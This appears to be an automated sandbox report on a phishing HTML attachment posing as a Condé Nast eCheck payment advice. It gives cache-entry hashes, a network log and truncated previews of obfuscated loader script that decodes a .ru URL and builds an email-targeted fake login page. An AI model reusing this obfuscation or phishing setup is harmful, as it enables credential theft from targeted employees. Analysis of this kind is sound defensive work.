SSDEEP:	384:4nuaDklc9gGYJDXDuLkDVv4oNnuaDklc9gGYJDXDuLkDVv43lrplrh:E23kaQox23kaQ3lrplrh
MD5:	8B106800AD39741F76131D2366CD5457
SHA1:	556D1069377F37601FFC7ED9AFE0168631D2B2DF
SHA-256:	20613928F323709F837D4B4C525085DDD56C6BC31F624AEB15F3D743DA333867
SHA-512:	6FCF30CA64E6D75786324DEB01BB9F430142018D92F482B3896CB3105E7CB29D6037B97648D37918EB48E7B012B1AC889492A43BACD91D17144797C9DE0C4DF5
Malicious:	false
URL:	https://cciq.absousium.ru/o5b8DXA/
Preview:	<script>....if(atob("aHR0cHM6Ly9jY2lxLmFic291c2l1bS5ydS9vNWI4RFhBLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodDogMTAwJTsNCiAgb3ZlcmZsb3c6IGhpZGRlbjsNCn0NCiNZWlZ2VHdRVEVmIGg0e21hc

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47520)
Category:	downloaded
Size (bytes):	47521
Entropy (8bit):	5.398500199255723
Encrypted:	false
SSDEEP:	768:11CQfmIG2Y8rH8zH5ei80aszzQhpd+dr6F/PG2Xv9PL79noBL5o6YBU91KL5Gc05:1a/0H8zH5eJdVplGYv9f96Yjy
MD5:	301F68F3D8317AB22D4021E266C9A853
SHA1:	B464B8B48880C53E9D203A2ACEAF3FDFEC517D97
SHA-256:	BF2059BE7007CD21FDD3B5DF727B89C8916142F7ABADFD46408DE17778699FB7
SHA-512:	1B2C5CABA6A54F6884E8DC40CB31FFDAA56DD3833DE8F97F0843811617207D1DF0ECEF75E9B88F652D42731E6784F6F51A7021FBB1515738DC5DE8E4B90A5682
Malicious:	false
URL:	https://challenges.cloudflare.com/turnstile/v0/g/849bfe45bf45/api.js
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Wt(u,o,c,g,h,"next",l)}function h(l){Wt(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 406986
Category:	dropped
Size (bytes):	116343
Entropy (8bit):	7.997640489040715
Encrypted:	true
SSDEEP:	3072:s8ovOS/D3L+TGsLMet6+iNLTMMqfC4hyFv0As5:jNSrij/t6+aAMqfCoydM5
MD5:	3063B0DA40B45B46602FCE99AC53D315
SHA1:	57883FF854B80AD2A76479A0273BE9218B4DA553
SHA-256:	C60FB365DF08D31F36EDA468941C309AE3A917ED784A30495800F05E5F98B66B
SHA-512:	3EAF55117A825B588972F6AE324F6173EF4F2A309BAB69A9A6CC43C8F9A4EE25C2FA86752C8912542CC353727DC54A034B369D4A4451F0C3B20206C16FA9FE98
Malicious:	false
Preview:	...........k{.H.(.}............'qz<..>.3==..G..(..../m..]kU.T......\|x....T.Z...O....T.........e..]../'.o+gp.k.........F....+#..+.{..\|X..J.U.`.F.0...W..7.Ie...J2.Y.~.$.L.8....$...P]4..yQ.P99..P?....?........I%....+^0..&p..2..<........Da...J....F.9<.7.^.+1O.0J..........h1....[....h..............u".....C%.+..\.>....T`.1....... i......8.TB(.Uh.b.{...@<y..D^.S.....n".<H.L..O..*.t........p6..\[...yCm.J.k.....b..vg....-.j.$........1....p~3.b.....n....[_c..{1WN.l~.=...........?......S.}U..g.......t..../...........\|.+...-y.X\...l.....>;."....ye.\.....h..p.f.8...[/..nd.,.......X.?......-....J.....I.;....t..FSw...a7i...c..Y{.-..>a..4h.Eo..c#...O....~..d....Z..z.'...s.D..E...jb.O.F..0.VW>..]%6........x..O>E.'a0U.....w....."..9.az.6....<a.?..<qvx........ct.K..s.C3..d#..#^R.z..A..u.f..........s.....M.rb(.\v.....%.k....i.f...,C.s..bY..K#...~.>..D..j....m.71..}...37h........P{..7!@...\|..ZR.]V....."...0.o....7..peCG....px..j.%r2.....R.k5m..s.

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	downloaded
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
URL:	https://code.jquery.com/jquery-3.6.0.min.js
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Static File Info

General

File type:	HTML document, ASCII text, with CRLF line terminators
Entropy (8bit):	4.9991521719120815
TrID:	HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (12001/1) 29.26% HyperText Markup Language (11001/1) 26.83% HyperText Markup Language (6006/1) 14.65%
File name:	Condenast eCHECK- Payment Advice.html
File size:	13'619 bytes
MD5:	3fc9910d3d3ec599f303440ce7d892be
SHA1:	3474f3f444f5352b1776425c97ac55048a480b43
SHA256:	e6af2c642eef6cded87d61218773bcd4c7563939825fac64bbf40d29a9012d4b
SHA512:	3749ccd5cf8a7f00013512c231ec5d9470df34905a6f55290d850d1fe810bf02d8b68dbe63d5437824dd25b65af7df78a8214036d31f91a0ff19eb9ac1b6e34b
SSDEEP:	192:Y+3Mvi9KlCHbaa422xVnglvL9FCqSNHOReBgVQwIjx1bYfJYz+bVpXvaU3LyKXDK:jdKQPk9C7CNNuXVIF1sKKVpVOG/y
TLSH:	C652DA6DB38423620EA757775ACE9AEFB2110B3C921700D434B8222C5525ADB9ACD9FC
File Content Preview:	<html><head><meta charset="UTF-8"></head><body><script>..beech = '#Xcuentasporpagar@condenast.com.mx';..springbok = ["&#98",`;&#97`,.. /* They volunteered at the animal shelter. / ';&#',.. / The child discovered a hidden treasure. */ "116;&#32",";=&

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 9, 2025 04:28:13.716420889 CET	49674	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:13.716423988 CET	49675	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:13.810214043 CET	49673	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:23.325737953 CET	49675	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:23.325737000 CET	49674	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:23.419478893 CET	49673	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:25.072082043 CET	443	49703	23.1.237.91	192.168.2.5
Jan 9, 2025 04:28:25.072242022 CET	49703	443	192.168.2.5	23.1.237.91
Jan 9, 2025 04:28:29.574465990 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:29.574495077 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:29.574551105 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:29.574762106 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:29.574774027 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.208419085 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.209076881 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.209100008 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.210484982 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.210541964 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.212965965 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.213046074 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.214128017 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.214134932 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.256257057 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.511071920 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.511099100 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.511172056 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.511202097 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.511243105 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.511974096 CET	49707	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.512005091 CET	443	49707	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.525126934 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:30.525172949 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:30.525249004 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:30.525444984 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:30.525455952 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:30.530163050 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.530210018 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:30.530564070 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.531277895 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:30.531291962 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.007841110 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.008100033 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.008126020 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.009185076 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.009263992 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.010442972 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.010535955 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.010612011 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.053988934 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.054002047 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.099992990 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.141591072 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.148874044 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:31.148910046 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.150027037 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.150093079 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:31.150576115 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:31.150641918 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.150876045 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:31.150882959 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.192697048 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:31.235075951 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.235122919 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.235156059 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.235183954 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.235210896 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.235213995 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.235239029 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.235256910 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.235277891 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.235614061 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.240694046 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.240748882 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.240783930 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.240783930 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.240797043 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.240828991 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.240844965 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.240885973 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.240892887 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.288378954 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.324959040 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.325015068 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.325042963 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.325083971 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.325100899 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.325140953 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.325148106 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.325426102 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.325454950 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.325499058 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.325515032 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.325551987 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.325575113 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.326176882 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.326206923 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.326236963 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.326248884 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.326257944 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.326291084 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.326293945 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.326334000 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.326339006 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.326967001 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.326993942 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.327048063 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.327056885 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.327097893 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.327147007 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.327191114 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.327215910 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.327253103 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.327260971 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.327301025 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.327939034 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.328044891 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.330373049 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.388674021 CET	49712	443	192.168.2.5	104.17.25.14
Jan 9, 2025 04:28:31.388698101 CET	443	49712	104.17.25.14	192.168.2.5
Jan 9, 2025 04:28:31.392653942 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.392679930 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.392736912 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:31.392743111 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:31.392782927 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:31.684055090 CET	49713	443	192.168.2.5	103.83.194.55
Jan 9, 2025 04:28:31.684091091 CET	443	49713	103.83.194.55	192.168.2.5
Jan 9, 2025 04:28:32.100008011 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.100050926 CET	443	49715	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.100116968 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.100399971 CET	49716	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.100450993 CET	443	49716	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.100529909 CET	49716	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.100792885 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.100805044 CET	443	49715	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.101181030 CET	49716	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.101197958 CET	443	49716	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.124813080 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.124859095 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.124917984 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.125111103 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.125124931 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.579663038 CET	443	49716	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.582672119 CET	443	49715	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.586642981 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.588968992 CET	49716	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.589010954 CET	443	49716	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.589119911 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.589143038 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.589229107 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.589255095 CET	443	49715	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.590189934 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.590200901 CET	443	49716	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.590275049 CET	443	49715	104.21.16.1	192.168.2.5
Jan 9, 2025 04:28:32.590276003 CET	49716	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.590276957 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.590341091 CET	49715	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.591214895 CET	49717	443	192.168.2.5	104.17.24.14
Jan 9, 2025 04:28:32.591290951 CET	443	49717	104.17.24.14	192.168.2.5
Jan 9, 2025 04:28:32.591353893 CET	49716	443	192.168.2.5	104.21.16.1
Jan 9, 2025 04:28:32.591383934 CET	49716	443	192.168.2.5	104.21.16.1
